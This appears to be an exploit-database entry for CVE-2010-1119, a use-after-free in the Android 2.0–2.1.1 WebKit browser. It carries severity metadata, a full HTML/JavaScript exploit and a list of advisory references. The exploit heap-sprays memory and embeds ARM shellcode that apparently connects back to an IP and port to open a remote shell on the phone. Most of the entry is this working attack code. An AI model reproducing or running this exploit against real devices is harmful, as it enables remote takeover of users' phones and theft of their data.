Bug: Android 2.0 ,2.1, 2.1.1 WebKit Use-After-Free Exploit ( Ascii Version )

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Android 2.0 ,2.1, 2.1.1 WebKit Use-After-Free Exploit

Published
Credit
Risk
2011.03.15
MJ Keith
High
CWE
CVE
Local
Remote
CWE-399
CVE-2010-1119
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

<html>
<!--
# Exploit Title: android exploit for 2010-1119 use after free
# Date: 2011/03/11
# Author: MJ Keith
# Software Link: http://www.android.com/
# Version: 2.0 ,2.1 , 2.1.1
# Tested on: Android
# CVE : 2010-1119

This is the exploit used in my Austin bsides presentation that returns a shell. The slides are at
http://www.slideshare.net/mjza/bsides
email: mkeith AT exploitscience.org
-->

<head>
<script language="JavaScript">
function heap()
{

var id = document.getElementById("target");
var attribute = id.getAttributeNode('id');
nodes = attribute.childNodes;
document.body.removeChild(id);
attribute.removeChild(nodes[0]);
setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };


var scode = unescape("\u0060\u0060");
var scode2 = unescape("\u5005\ue1a0");
var shell =
unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue
3a0\u708d\ue3a0\
\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00
\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d
\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000
\u2000\u2000\u2000\u2000\u0002");
shell += unescape("\uae08"); // Port = 2222
shell += unescape("\u000a\u0202"); // IP = 10.0.2.2
shell += unescape("\u2000\u2000"); // string terminate

do
{
scode += scode;
scode2 += scode2;

} while (scode.length<=0x1000);

scode2 += shell


target = new Array();
for(i = 0; i < 300; i++){

if (i<130){ target[i] = scode;}
if (i>130){ target[i] = scode2;}

document.write(target[i]);
document.write("<br />");
if (i>250){
// alert("freeze");
nodes[0].textContent}

}

}, 0);
}
</script>
</head>
<body onload=heap()>
<p id=target></p>
</body>
</html>


References:

http://lists.apple.com/archives/security-announce/2010/Jun/msg00000.html
http://www.vupen.com/english/advisories/2010/1512
http://www.vupen.com/english/advisories/2010/1373
http://www.securityfocus.com/bid/40620
http://twitter.com/thezdi/statuses/11001080021
http://support.apple.com/kb/HT4225
http://support.apple.com/kb/HT4220
http://support.apple.com/kb/HT4196
http://securitytracker.com/id?1024067
http://secunia.com/advisories/40196
http://secunia.com/advisories/40105
http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:7037
http://news.cnet.com/8301-27080_3-20001126-245.html
http://lists.apple.com/archives/security-announce/2010/Jun/msg00003.html
http://lists.apple.com/archives/security-announce/2010//Jun/msg00002.html
http://dvlabs.tippingpoint.com/blog/2010/02/15/pwn2own-2010

See this note in TXT Version

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Ascii Version